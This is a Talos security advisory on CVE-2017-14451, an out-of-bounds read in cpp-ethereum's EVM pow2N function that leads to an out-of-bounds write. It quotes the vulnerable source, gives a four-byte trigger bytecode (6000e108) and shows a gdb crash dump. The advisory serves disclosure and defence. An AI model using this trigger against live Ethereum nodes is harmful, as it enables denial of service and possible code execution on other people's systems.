Talos Vulnerability Report

TALOS-2017-0500

CPP-Ethereum libevm pow2N Code Execution Vulnerability

January 9, 2018
CVE Number

CVE-2017-14451

Summary

An exploitable out-of-bounds read vulnerability exists in libevm (Ethereum Virtual Machine) of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read which can subsequently trigger an out-of-bounds write resulting in remote code execution. An attacker can create/send malicious smart contract to trigger this vulnerability.

Tested Versions

Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768

Product URLs

http://cpp-ethereum.org

CVSSv3 Score

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-125: Out-of-bounds Read

Details

CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of cpp-ethereum is libevm (Ethereum Virtual Machine). Improper handling of smart contract code in the pow2N function can lead to an out-of-bounds read, which subequently triggers an out-of-bounds write, resulting in remote code execution. The vulnerability can also be used to perform DoS attack on all nodes in the Ethereum network that use this implementation of the virtual machine.

The pow2N function has been introduced with EIP-616 and is used in most of SIMD opcode handlers. Below is the implementation of the function:

cpp-ethereum/libevm/VMSIMD.cpp

Line 118	inline uint8_t pow2N(uint8_t _n)
Line 119	{
Line 120		static uint8_t exp[6] = { 1, 2, 4, 8, 16, 32 };
Line 121		return exp[_n];
Line 122	}

as we can see the _n argument is being used as an index in the exp array without checks to determine whether its value is bigger than the array size. That can lead to an out-of-bounds read. pow2N function is directly called inside two functions:

cpp-ethereum/libevm/VMSIMD.cpp

Line 124	inline uint8_t laneCount(uint8_t _type)
Line 125	{
Line 126		return pow2N(_type & 0xf);
Line 127	}
Line 128
Line 129	inline uint8_t laneWidth(uint8_t _type)
Line 130	{
Line 131		return pow2N(_type >> 4);
Line 132	}

In both cases _type argument value is limited to values from range <0,15>. That’s enough to cause an out-of-bounds read because exp array has size equals 6. To determine the impact, let’s check values in memory in the 15 bytes starting from the start of the exp array. Setting a breakpoint in the pow2N function we can see:

x/15xb exp
0x97db68 <_ZZN3dev3eth5pow2NEhE3exp>:	0x01	0x02	0x04	0x08	0x10	0x20	0x00	0x00
0x97db70 <_ZN3dev7VersionE>:	0xf5	0xb2	0x81	0x00	0x00	0x00	0x00

The pow2N author defined the values which this function can return inside exp array, but because there is an out-of-bounds read vulnerability we can read, e.g., the value at offset 0x8 which is 0xF5. Returning that value from pow2N function breaks some assumptions that maximal value returned from this function is 32. Because laneCount and laneWidth are used in nearly all SIMD opcodes handlers let’s take XMLOAD opcode handler as an example.

cpp-ethereum/libevm/VMSIMD.cpp

Line 216	void VM::xmload (uint8_t _type)
Line 217	{
Line 218		// goes onto stack element by element, LSB first
Line 219		uint8_t const* vecData = m_mem.data() + toInt15(m_SP[0]);
Line 220		uint8_t const count = laneCount(_type);
Line 221		uint8_t const width = laneWidth(_type);
Line 222
Line 223		switch (width)
Line 224		{
Line 225		case Bits8:
Line 226			for (int j = count,  i = count - 1; 0 <= i; --i)
Line 227			{
Line 228				int v = 0;
Line 229				v |= vecData[--j];
Line 230				v8x32(m_SPP[0])[i] = v;
Line 231			}
Line 232			break;
Line 233		case Bits16:
Line 234			for (int j = count,  i = count - 1; 0 <= i; --i)
Line 235			{
Line 236				int v = 0;
Line 237				v |= vecData[--j];
Line 238				v <<= 8;
Line 239				v |= vecData[--j];
Line 240				v16x16(m_SPP[0])[i] = v;
Line 241			}
Line 242			break;
Line 243		case Bits32:
Line 244			for (int j = count,  i = count - 1; 0 <= i; --i)
Line 245			{
Line 246				int v = 0;
Line 247				v |= vecData[--j];
Line 248				v <<= 8;
Line 249				v |= vecData[--j];
Line 250				v <<= 8;
Line 251				v |= vecData[--j];
Line 252				v <<= 8;
Line 253				v |= vecData[--j];
Line 254				v32x8(m_SPP[0])[i] = v;
Line 255			}
Line 256			(...)

The _type argument is another opcode value located just after the XMLOAD opcode obtained via the simdType function.

cpp-ethereum/libevm/VM.h

Line 240	uint8_t simdType()
Line 241	{
Line 242		uint8_t nt = m_code[++m_PC];  // advance PC and get simd type from code
Line 243		++m_PC;                       // advance PC to next opcode, ready to continue
Line 244		return nt;
Line 245	}

So we have full control of its value which can be in range <0,255>. Setting the _type variable to 8, the laneCount function will return the value 0xF5 and the laneWidth will be 1. In that situation we execute the code located at lines 233-242. The count variable which controls the loop counter is set to 0xF5. The loop will be executed 0xF4 times, copying two bytes from the vecData buffer (a pointer the m_mem memory controllable by the attacker) to the m_SPP[0] element which is 32 bytes in size. That operation will cause an out-of-bounds write which leads to memory corruption and subsequently can allow for remote arbitrary code execution.

Example of opcodes triggering this vulnerability:

6000e108

disassembling we get: 60 00 PUSH 0 e1 XMLOAD 08 //malicious value for _type variable

Crash Information

Starting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --code 6000e108
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xffffff75 
RBX: 0x9d8e30 --> 0x860e00 --> 0x525510 (<dev::eth::VM::~VM()>: push   rbx)
RCX: 0x0 
RDX: 0x9d45f0 --> 0x0 
RSI: 0x35 ('5')
RDI: 0x6100009e4ee0 
RBP: 0x0 
RSP: 0x7fffffffb030 --> 0x0 
RIP: 0x5396a5 (<dev::eth::VM::xmload(unsigned char)+279>:       mov    WORD PTR [rdi+r8*2],cx)
R8 : 0x35 ('5')
R9 : 0x0 
R10: 0x241 
R11: 0x1 
R12: 0x9d45f0 --> 0x0 
R13: 0x7fffffffc000 --> 0x9d4420 --> 0x7fffffffbc08 --> 0x0 
R14: 0x1 
R15: 0x45 ('E')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x539699 <dev::eth::VM::xmload(unsigned char)+267>:  or     ecx,edi
   0x53969b <dev::eth::VM::xmload(unsigned char)+269>:  mov    rdi,QWORD PTR [rbx+0xc118]
   0x5396a2 <dev::eth::VM::xmload(unsigned char)+276>:  movsxd r8,esi
=> 0x5396a5 <dev::eth::VM::xmload(unsigned char)+279>:  mov    WORD PTR [rdi+r8*2],cx
   0x5396aa <dev::eth::VM::xmload(unsigned char)+284>:  sub    esi,0x1
   0x5396ad <dev::eth::VM::xmload(unsigned char)+287>:  jmp    0x53967a <dev::eth::VM::xmload(unsigned char)+236>
   0x5396af <dev::eth::VM::xmload(unsigned char)+289>:  movzx  eax,al
   0x5396b2 <dev::eth::VM::xmload(unsigned char)+292>:  lea    esi,[rax-0x1]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffb030 --> 0x0 
0008| 0x7fffffffb038 --> 0x0 
0016| 0x7fffffffb040 --> 0x0 
0024| 0x7fffffffb048 --> 0x0 
0032| 0x7fffffffb050 --> 0x1 
0040| 0x7fffffffb058 --> 0x7fffffffb9d0 --> 0x1 
0048| 0x7fffffffb060 --> 0x4 
0056| 0x7fffffffb068 --> 0xaa0d725b62ee1a00 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000005396a5 in dev::eth::VM::xmload (this=this@entry=0x9d8e30, _type=<optimized out>) at /home/icewall/bugs/cpp-   
ethereum/libevm/VMSIMD.cpp:240
240                             v16x16(m_SPP[0])[i] = v;
gdb-peda$ bt
#0  0x00000000005396a5 in dev::eth::VM::xmload (this=this@entry=0x9d8e30, _type=<optimized out>) at /home/icewall/bugs/cpp-
ethereum/libevm/VMSIMD.cpp:240
#1  0x0000000000522caa in dev::eth::VM::interpretCases (this=0x9d8e30) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:970
#2  0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u,   
(boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, 
(boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long, 
dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, 
(boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, 
(boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, 
(boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, 
(boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, 
(boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, 
(boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d8e30, _io_gas=..., _ext=..., 
_onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207
#3  0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction, 
boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, 
(boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, 
boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, 
(boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, 
boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, 
(boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, 
dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd600, _onOp=...) at /home/icewall/bugs/cpp-
ethereum/libethereum/Executive.cpp:434
#4  0x0000000000416ceb in main (argc=argc@entry=0x4, argv=argv@entry=0x7fffffffddb8) at /home/icewall/bugs/cpp-
ethereum/ethvm/main.cpp:320
#5  0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x4, argv=0x7fffffffddb8, init=<optimized out>, fini=
<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdda8) at ../csu/libc-start.c:291
#6  0x0000000000413c09 in _start ()
gdb-peda$ 

Timeline

2017-11-03 - Vendor Disclosure
2018-01-09 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.